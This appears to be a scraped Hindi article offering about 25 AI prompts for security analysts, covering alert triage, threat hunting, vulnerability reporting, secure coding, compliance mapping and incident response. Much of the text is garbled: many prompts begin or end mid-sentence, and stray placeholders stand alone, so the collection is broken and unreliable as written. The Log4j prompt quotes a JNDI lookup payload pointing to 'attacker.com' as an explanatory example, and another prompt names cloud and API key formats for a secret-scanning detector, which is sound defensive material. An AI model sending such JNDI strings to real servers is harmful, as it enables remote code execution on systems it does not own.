हर सुरक्षा विश्लेषक के लिए 25 AI प्रॉम्प्ट (2026)

[PASTE_SANITIZED_ALERT_DATA]

[PASTE_SANITIZED_FIREWALL_LOGS]

सिग्नेचर वाली एक फ़ाइल को ब्लॉक कर दिया है।
1.  सरल शब्दों में, यह मालवेयर सिग्नेचर आमतौर पर क्या इंगित करता है?
2.  इस मालवेयर परिवार का सामान्य व्यवहार क्या है? (जैसे, रैंसमवेयर, इन्फोस्टीलर, RAT)
3.  एक जूनियर विश्लेषक को होस्ट

-   **मुख्य प्रलोभन:** ईमेल ने "तत्काल चालान भुगतान आवश्यक" होने का दावा किया और उपयोगकर्ता से एक लिंक पर क्लिक करने का आग्रह किया।
-   **URL:**

का उपयोग करके सक्रिय रूप से लक्षित कर रहा है, तीन अलग-अलग थ्रेट हंटिंग परिकल्पनाएँ जेनरेट करें।
प्रत्येक परिकल्पना के लिए, निर्दिष्ट करें:
1.  परिकल्पना स्वयं।
2.  आवश्यक डेटा स्रोत (जैसे, EDR लॉग, DNS लॉग, प्रॉक्सी लॉग)।
3.  परिकल्पना का परीक्षण करने के लिए एक नमूना क्वेरी (छद्म-क्वेरी भाषा में)।
उदाहरण प्रारूप:
**परिकल्पना 1:** खतरा अभिनेता स्थिरता स्थापित करने के लिए निर्धारित कार्यों का उपयोग कर रहा है।
**डेटा स्रोत:** EDR प्रोसेस क्रिएशन लॉग, विंडोज इवेंट लॉग (ID 4698)।
**क्वेरी:**

[PASTE_CVE_LIST_AND_CVSS_SCORES]

को पैच क्यों करना चाहिए।
एक स्पष्ट, संक्षिप्त ईमेल का मसौदा तैयार करें जिसमें:
1.  भेद्यता और प्रभावित सिस्टम (

एक सुरक्षा सलाहकार के रूप में कार्य करें। मुझे हमारे नेटवर्क के एक नए खंड के लिए एक Tenable Nessus स्कैन कॉन्फ़िगर करने की आवश्यकता है जिसमें `[SERVER_TYPES]` (जैसे, वेब सर्वर, डेटाबेस सर्वर, डोमेन कंट्रोलर) शामिल हैं।
एक Nessus स्कैन नीति कॉन्फ़िगरेशन की सिफारिश करें। आपकी सिफारिश में शामिल होना चाहिए:
-   **स्कैन टेम्पलेट:** किस Nessus टेम्पलेट से शुरू करना है (जैसे, Basic Network Scan, Credentialed Patch Audit)।
-   **क्रेडेंशियल:** क्रेडेंशियल स्कैन क्यों आवश्यक है।
-   **प्लगइन्स:** इन सर्वर प्रकारों के लिए कौन से प्लगइन परिवार सक्षम करने के लिए सबसे महत्वपूर्ण हैं।
-   **आवृत्ति:** एक अनुशंसित स्कैन आवृत्ति (जैसे, साप्ताहिक, मासिक)।
प्रत्येक के लिए संक्षिप्त औचित्य के साथ स्पष्ट सिफारिशों के एक सेट के रूप में आउटपुट प्रदान करें।

को फ़्लैग किया, लेकिन हमने निर्धारित किया है कि यह एक गलत सकारात्मक है।
मुझे हमारे रिकॉर्ड के लिए एक औपचारिक औचित्य लिखना है। एक पैराग्राफ का मसौदा तैयार करें जो बताता है कि यह निष्कर्ष गलत सकारात्मक *क्यों* है।
निम्नलिखित जानकारी का उपयोग करें:
-   **निष्कर्ष:** स्कैनर ने

आप CISO को रिपोर्ट करने वाले एक भेद्यता विश्लेषक हैं। मेरे पास 5 महत्वपूर्ण कमजोरियों की एक सूची है जो इस सप्ताह खोजी गईं।
एक प्रबंधन रिपोर्ट के लिए एक उच्च-स्तरीय सारांश तालिका बनाएँ। तालिका में निम्नलिखित कॉलम होने चाहिए:
-   `भेद्यता (CVE)`
-   `प्रभावित सिस्टम (संख्या)`
-   `अनुशंसित कार्रवाई`
-   `असाइन की गई टीम`
-   `उपचार ETA`
इस डेटा का उपयोग करके तालिका भरें:
-   **CVE-2026-1001:** 15 वेब सर्वर को प्रभावित करता है। कार्रवाई: विक्रेता पैच लागू करें। टीम: वेब ऑप्स। ETA: 7 दिन।
-   **CVE-2026-1002:** 50 वर्कस्टेशन को प्रभावित करता है। कार्रवाई: SCCM के माध्यम से अपडेटेड सॉफ्टवेयर डिप्लॉय करें। टीम: डेस्कटॉप इंजीनियरिंग। ETA: 14 दिन।
-   **CVE-2026-1003:** 2 डोमेन कंट्रोलर को प्रभावित करता है। कार्रवाई: रजिस्ट्री कुंजी परिवर्तन लागू करें। टीम: इंफ्रास्ट्रक्चर। ETA: 3 दिन।
-   **CVE-2026-1004:** 10 लिनक्स सर्वर को प्रभावित करता है। कार्रवाई: कर्नेल अपडेट करें। टीम: लिनक्स ऑप्स। ETA: 10 दिन।
-   **CVE-2026-1005:** 1 कस्टम एप्लिकेशन को प्रभावित करता है। कार्रवाई: डेवलपर कोड फिक्स। टीम: एपडेव। ETA: 30 दिन।

कोड स्निपेट का विश्लेषण करें, विशेष रूप से देखें:
-   इंजेक्शन फ़्लॉज़ (SQL, कमांड)
-   ब्रोकन ऑथेंटिकेशन
-   संवेदनशील डेटा का खुलासा
-   असुरक्षित डीसीरियलाइज़ेशन
आपके द्वारा पाई गई प्रत्येक समस्या के लिए, प्रदान करें:
1.  भेद्य लाइन संख्या।
2.  भेद्यता का संक्षिप्त विवरण।
3.  इसे ठीक करने का तरीका दिखाने वाला एक कोड उदाहरण।
यदि कोई समस्या नहीं मिलती है, तो उसे बताएं।
कोड स्निपेट:

हमारे Snyk स्कैन ने ओपन-सोर्स लाइब्रेरी `[LIBRARY_NAME]`, संस्करण `[VERSION_NUMBER]` में एक महत्वपूर्ण भेद्यता (`[CVE_ID]`) पाई है।
इस भेद्यता को एक डेवलपमेंट टीम को समझाएं। आपकी व्याख्या में शामिल होना चाहिए:
1.  भेद्यता हमलावर को क्या करने की अनुमति देती है (जैसे, रिमोट कोड एग्जीक्यूशन, डिनायल ऑफ सर्विस)।
2.  भेद्यता कैसे ट्रिगर होती है।
3.  अनुशंसित कार्रवाई क्या है (जैसे, "संस्करण X.Y.Z में अपग्रेड करें")।
व्याख्या को संक्षिप्त और केंद्रित रखें कि डेवलपर्स को इसे ठीक करने के लिए क्या जानने की आवश्यकता है।

एक प्रधान सुरक्षा इंजीनियर के रूप में कार्य करें। "इनपुट सत्यापन" विषय पर हमारी डेवलपमेंट टीम के लिए एक सुरक्षित कोडिंग दिशानिर्देश लिखें।
दिशानिर्देश एक मार्कडाउन दस्तावेज़ होना चाहिए जिसमें शामिल हो:
-   इनपुट सत्यापन क्यों महत्वपूर्ण है, इसका एक संक्षिप्त, सरल व्याख्या।
-   2-3 सर्वोत्तम अभ्यासों के साथ एक "क्या करें" अनुभाग (जैसे, अनुमति-सूचियों का उपयोग करें, सर्वर-साइड पर सत्यापित करें)।
-   2-3 सामान्य गलतियों के साथ एक "क्या न करें" अनुभाग (जैसे, केवल क्लाइंट-साइड सत्यापन पर निर्भर रहें, ब्लॉक-सूचियों का उपयोग करें)।
-   `[LANGUAGE]` में एक छोटा, स्पष्ट कोड उदाहरण जो "खराब" बनाम "अच्छा" कार्यान्वयन दिखाता है।

फ़ंक्शन है जो SQL इंजेक्शन के प्रति संवेदनशील है।
इस भेद्यता को रोकने के लिए पैरामीटराइज़्ड क्वेरीज़ (तैयार स्टेटमेंट) का उपयोग करने के लिए कोड को रिफैक्टर करें। "पहले" और "बाद" के कोड ब्लॉक दिखाएं।
भेद्य कोड:

मुझे अपने कोडबेस में संभावित रूप से उजागर रहस्यों को खोजने के लिए एक डिटेक्शन नियम लिखने की आवश्यकता है।
एक रेगुलर एक्सप्रेशन (regex) जेनरेट करें जो निम्नलिखित गुप्त प्रारूपों की पहचान कर सकता है:
-   AWS एक्सेस कुंजी ID (जैसे, `AKIAIOSFODNN7EXAMPLE`)
-   GitHub पर्सनल एक्सेस टोकन (जैसे, `ghp_...`)
-   Stripe API कुंजी (जैसे, `sk_live_...`)
प्रत्येक regex को एक नई लाइन पर एक टिप्पणी के साथ प्रदान करें जो इंगित करता है कि यह किस रहस्य के लिए है। साथ ही, गुप्त स्कैनिंग के लिए regex का उपयोग करने की सीमाओं के बारे में एक संक्षिप्त अस्वीकरण प्रदान करें (जैसे, गलत सकारात्मक और नकारात्मक की संभावना)।

एक GRC विश्लेषक के रूप में कार्य करें। मुझे "AI उपकरणों का स्वीकार्य उपयोग" पर एक नई कॉर्पोरेट सुरक्षा नीति का मसौदा तैयार करने की आवश्यकता है।
नीति को निम्नलिखित अनुभागों के साथ संरचित किया जाना चाहिए:
1.  **उद्देश्य:** यह नीति क्यों मौजूद है।
2.  **दायरा:** यह नीति किस पर लागू होती है।
3.  **नीति वक्तव्य:** नियमों की एक सूची, जिसमें शामिल हैं:
-   संवेदनशील कंपनी या ग्राहक डेटा के साथ सार्वजनिक AI उपकरणों का उपयोग करने पर प्रतिबंध।
-   केवल कंपनी-अनुमोदित AI प्लेटफॉर्म का उपयोग करने की आवश्यकता।
-   AI-जनित सामग्री की सटीकता को सत्यापित करने पर दिशानिर्देश।
-   डेटा स्वामित्व और गोपनीयता पर एक वक्तव्य।
4.  **प्रवर्तन:** नीति का उल्लंघन करने के परिणाम।
इस नीति का एक पेशेवर मसौदा जेनरेट करें।

मैं एक ऑडिट के लिए तैयारी कर रहा हूँ। मुझे हमारे मौजूदा ISO 27001 नियंत्रणों को SOC 2 ट्रस्ट सर्विसेज क्राइटेरिया में मैप करने की आवश्यकता है।
निम्नलिखित ISO 27001 नियंत्रण के लिए, संबंधित SOC 2 मानदंड की पहचान करें जिसे यह पूरा करने में मदद करता है।
**ISO 27001 नियंत्रण:** `[ISO_CONTROL_DESCRIPTION]` (जैसे, "A.9.4.1: सूचना पहुंच प्रतिबंध")
संबंधित SOC 2 TSC और मैपिंग का एक संक्षिप्त एक-वाक्य का स्पष्टीकरण प्रदान करें।
उदाहरण आउटपुट:
**SOC 2 TSC:** CC6.1 - लॉजिकल एक्सेस सिक्योरिटी
**स्पष्टीकरण:** यह नियंत्रण भूमिकाओं और जिम्मेदारियों के आधार पर सूचना और सिस्टम तक तार्किक पहुंच को प्रतिबंधित करने के लिए SOC 2 की आवश्यकता का सीधे समर्थन करता है।

आप एक सुरक्षा अनुपालन विश्लेषक हैं जो एक SOC 2 ऑडिट के लिए साक्ष्य विवरण लिख रहे हैं। नियंत्रण है: "संस्था त्रैमासिक आधार पर भेद्यता स्कैन करती है।"
एक पैराग्राफ का विवरण लिखें जो बताता है कि हम इस नियंत्रण को कैसे पूरा करते हैं। निम्नलिखित विवरणों का उपयोग करें:
-   **उपयोग किया गया उपकरण:** Tenable.io
-   **स्कैन आवृत्ति:** सभी उत्पादन सर्वर पर मासिक प्रमाणित स्कैन।
-   **रिपोर्टिंग:** रिपोर्ट स्वचालित रूप से जेनरेट होती हैं और सुरक्षा टीम द्वारा समीक्षा की जाती हैं।
-   **टिकटिंग:** महत्वपूर्ण और उच्च भेद्यताएँ स्वचालित रूप से Jira में टिकट जेनरेट करती हैं जो सिस्टम मालिकों को असाइन किए जाते हैं।
-   **साक्ष्य:** "पिछले महीने की एक नमूना स्कैन रिपोर्ट (`[REPORT_NAME].pdf`) और स्कैन शेड्यूल का एक स्क्रीनशॉट (`[SCHEDULE_SCREENSHOT].png`) साक्ष्य के रूप में संलग्न हैं।

मैं हमारी नई `[CLOUD_SERVICE_NAME]` डिप्लॉयमेंट पर एक जोखिम मूल्यांकन कर रहा हूँ।
"अपर्याप्त पहुंच नियंत्रण" से संबंधित एक जोखिम परिदृश्य जेनरेट करें। परिदृश्य को इन क्षेत्रों के साथ संरचित किया जाना चाहिए:
-   **जोखिम परिदृश्य:** घटना का एक संक्षिप्त, एक-वाक्य का विवरण।
-   **खतरा अभिनेता:** इसे कौन कारण बन सकता है (जैसे, दुर्भावनापूर्ण अंदरूनी सूत्र, बाहरी हमलावर)।
-   **भेद्यता:** कमजोरी जो इसकी अनुमति देती है (जैसे, अत्यधिक अनुमेय IAM भूमिकाएँ)।
-   **प्रभाव:** यदि ऐसा होता है तो व्यावसायिक परिणाम (जैसे, डेटा उल्लंघन, सेवा व्यवधान)।
-   **मौजूदा नियंत्रण:** हमारे पास वर्तमान में क्या है (जैसे, MFA, बेसिक लॉगिंग)।
"अपर्याप्त पहुंच नियंत्रण" जोखिम के लिए इस संरचना को भरें।

मुझे एक गैर-तकनीकी जोखिम समिति को एक अनपैच्ड Log4j भेद्यता (CVE-2021-44228) के जोखिम को समझाने की आवश्यकता है।
निम्नलिखित तकनीकी विवरण को एक सरल, उपमा-आधारित व्यावसायिक जोखिम विवरण में अनुवाद करें। RCE, JNDI, और LDAP जैसे जार्गन से बचें।
**तकनीकी विवरण:** "Log4j भेद्यता एक विशेष रूप से तैयार की गई स्ट्रिंग को लॉग करके अप्रमाणित रिमोट कोड एग्जीक्यूशन (RCE) की अनुमति देती है। एक हमलावर `${jndi:ldap://attacker.com/a}` जैसी स्ट्रिंग भेज सकता है जिससे सर्वर हमलावर के सिस्टम से वापस कनेक्ट होता है और एक दुर्भावनापूर्ण पेलोड को निष्पादित करता है।"
इस बात पर ध्यान केंद्रित करें कि इसका व्यवसाय के लिए क्या अर्थ है (जैसे, "यह एक पिछला दरवाजा खुला छोड़ने जैसा है...")।

[PASTE_SANITIZED_AND_TIMESTAMPED_LOG_ENTRIES]

तत्काल: सुरक्षा घटना एस्केलेशन - [INCIDENT_TYPE]

आप एक वरिष्ठ घटना प्रतिक्रिया प्रबंधक हैं। हमारी टीम ने अभी-अभी एक `[INCIDENT_TYPE]` घटना को हल किया है।
एक पोस्ट-इंसीडेंट रिव्यू (PIR) दस्तावेज़ के लिए एक विस्तृत रूपरेखा बनाएँ। रूपरेखा में सभी प्रमुख अनुभाग और प्रत्येक में शामिल किए जाने वाले मुख्य विषयों के लिए उप-बुलेट शामिल होने चाहिए।
निम्नलिखित अनुभाग शामिल करें:
1.  कार्यकारी सारांश
2.  घटना समय-सीमा (मुख्य घटनाएँ)
3.  मूल कारण विश्लेषण (क्या विफल रहा?)
4.  प्रभाव मूल्यांकन (व्यावसायिक, तकनीकी, वित्तीय)
5.  सीखे गए सबक (क्या अच्छा रहा? क्या खराब रहा?)
6.  कार्य आइटम (एक्शन, ओनर, और देय तिथि के लिए कॉलम वाली एक तालिका)

हम डेटा एक्सफ़िल्ट्रेशन घटना से संबंधित एक समझौता किए गए होस्ट (`[HOSTNAME]`) पर एक डिजिटल फोरेंसिक जांच शुरू कर रहे हैं।
एक प्रमुख फोरेंसिक अन्वेषक के रूप में कार्य करें। शीर्ष 10 प्रमुख प्रश्नों की एक सूची जेनरेट करें जिनका हमारी जांच को उत्तर देने की आवश्यकता है। प्रश्न उल्लंघन के पूर्ण दायरे और समय-सीमा को स्थापित करने पर केंद्रित होने चाहिए।
उदाहरण:
-   हमलावर ने होस्ट तक प्रारंभिक पहुंच कैसे प्राप्त की?
-   हमलावर ने होस्ट पर किन उपकरणों का उपयोग किया?
-   होस्ट से कौन सा डेटा एक्सेस या एक्सफ़िल्ट्रेट किया गया था?

आप कॉर्पोरेट संचार के प्रमुख हैं, जो सुरक्षा टीम के साथ काम कर रहे हैं। हमें सभी कर्मचारियों को हालिया सुरक्षा घटना के बारे में एक संक्षिप्त आंतरिक अपडेट भेजने की आवश्यकता है जिसे हल कर लिया गया है।
घटना एक `[INCIDENT_TYPE]` थी जिसके कारण `[IMPACT]` हुआ।
सभी कर्मचारियों के लिए एक छोटा, आश्वस्त करने वाला और गैर-तकनीकी संदेश का मसौदा तैयार करें। संदेश में होना चाहिए:
-   स्वीकार करें कि एक व्यवधान हुआ था।
-   पुष्टि करें कि समस्या अब हल हो गई है।
-   सुरक्षा टीम को धन्यवाद दें।
-   कर्मचारियों को सतर्क रहने और संदिग्ध गतिविधि की रिपोर्ट करने की याद दिलाएं।
घटना के बारे में तकनीकी विवरण शामिल न करें।